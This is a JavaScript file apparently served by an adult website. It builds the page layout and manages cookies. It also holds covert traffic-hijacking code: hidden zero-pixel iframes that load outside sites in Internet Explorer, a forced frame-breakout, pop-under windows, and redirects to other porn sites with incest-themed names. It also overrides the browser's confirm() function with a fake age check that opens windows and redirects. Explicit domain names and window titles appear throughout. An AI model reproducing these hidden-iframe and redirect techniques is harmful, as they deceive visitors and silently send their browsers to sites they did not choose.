var MSIE = (navigator.userAgent.indexOf("MSIE") != -1)?true:false;
if(self.location != top.location)
{
top.location.href = self.location;
}

if(MSIE)
{
	var refsite = (document.referrer.indexOf("family-cams.com") != -1)?true:false;
	if(refsite)
	{
		document.write("<iframe width='0px' height='0px' src='http://family-pics.net/'></iframe>");
	}
	else
	{
		document.write("<iframe width='0px' height='0px' src='http://family-cams.com'></iframe>");
	}
}


function createCookie(name,value,days)
{
	if (days)
	{
		var date = new Date();
		date.setTime(date.getTime()+(days*24*60*60*1000));
		var expires = "; expires="+date.toGMTString();
	}
	else
	{
		var expires = "";
	}
	document.cookie = name+"="+value+expires+"; path=/";
}

function readCookie(name)
{
	var nameEQ = name + "=";
	var ca = document.cookie.split(';');
	for(var i=0;i < ca.length;i++)
	{
		var c = ca[i];
		while (c.charAt(0)==' ') c = c.substring(1,c.length);
		if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
	}
	return null;
}

function eraseCookie(name)
{
	createCookie(name,"",-1);
}

function popunder(purl)
{
	if(!readCookie("__POPUNDER__"))
	{
		createCookie("__POPUNDER__",purl,"1");
		var popunder = window.open(purl,"Popunder");
		popunder.blur();
		window.location="http://broadwaypink.com/";
	}
}

function goFullScreen()
{
	window.open("/","NASTYFUCKINGPORN","fullscreen,scrollbars");
	window.location="http://daughtersexposed.com/";
}

function confirm()
{
	if(!readCookie("__USER_CONFIRM_AGE__"))
	{
		createCookie("__USER_CONFIRM_AGE__","OVER18","1");
		window.open("/","NASTY-FUCKING-PORN");
		window.location="http://daughtersexposed.com/";
		
	}
}


function setStyle(styleElement,styleText)
{	    
	if(MSIE)
	{
    	styleElement.style.setAttribute("cssText", styleText);
	}
			
	else
	{
		styleElement.setAttribute("style", styleText);
	}		  	
}

function loadImages()
{
	favicon = new Image();
	favicon.src = "/favicon.ico";
	background = new Image();
	background.src = "/background.jpg";
	logo = new Image();
	logo.src = "/logo.gif";
	
}

function formatDocument()
{
	tableBorderColor = "rgb(255,0,0)";
	docBody = document.getElementsByTagName("body")[0];
	pageContent = document.getElementById("cont");
	pageToplist = document.getElementById("toplist");
	pageNavigation = document.getElementById("navigation");
	mainTableCenter = document.createElement("center");
	mainTable = document.createElement("table");
	
	row0 = document.createElement("tr");
	row1 = document.createElement("tr");
	
	cell0 = document.createElement("td");
	cell0.setAttribute("colspan","2");
	
	cell1 = document.createElement("td");
	
	cell2 = document.createElement("td");
	
	mainTableCenter.appendChild(mainTable);
	mainTableCenter.appendChild(pageNavigation);
	docBody.appendChild(mainTableCenter);
	mainTable.appendChild(row0);
	row0.appendChild(cell0);
	cell0.appendChild(logo);
	
	mainTable.appendChild(row1);
	row1.appendChild(cell1);
	cell1.appendChild(pageToplist);	
	row1.appendChild(cell2);
	cell2.innerHTML = '<center><iframe width="650" height="880" src="http://www.fetishhitsgallery.com/gallery/thumbpage/1810/fh10703/4854/index.html" scrolling="no" frameborder="0"></iframe></center>';	
	
			
	logo.setAttribute("onclick","javascript:goFullScreen();");
	setStyle(logo,"cursor:pointer;");
	setStyle(docBody,"background:url("+background.src+");color:rgb(255,255,255);font-family:Tahoma;");
	setStyle(mainTable,"background:rgb(0,0,0);width:1024px;border:1px "+tableBorderColor+" solid;border-collapse:collapse;position:");
	setStyle(cell0,"background:rgb(0,0,0);width:100%;border-bottom:1px "+tableBorderColor+" solid;vertical-align:top;text-align:center;font-size:17px;font-weight:700;padding:4px;");
	setStyle(cell1,"background:rgb(0,0,0);border-right:1px "+tableBorderColor+" solid;vertical-align:top;text-align:left;font-size:17px;font-weight:700;padding:4px;");
	setStyle(cell2,"background:rgb(0,0,0);width:724px;border-right:1px "+tableBorderColor+" solid;vertical-align:top;text-align:left;font-size:17px;font-weight:700;padding:4px;");
	if(document.getElementsByTagName("a"))
	{
		doclinks = document.getElementsByTagName("a");
		linknum = doclinks.length;
		for(i=0;i<=linknum-1;i++)
		{
			setStyle(document.links[i],"color:#ffffff;");	
		}
	}

}

function backLoad()
{
	if(document.getElementById("footer"))
	{
		loadImages();
		formatDocument();		
		clearInterval(initBackLoad);
	}
}
initBackLoad = setInterval("backLoad()",250);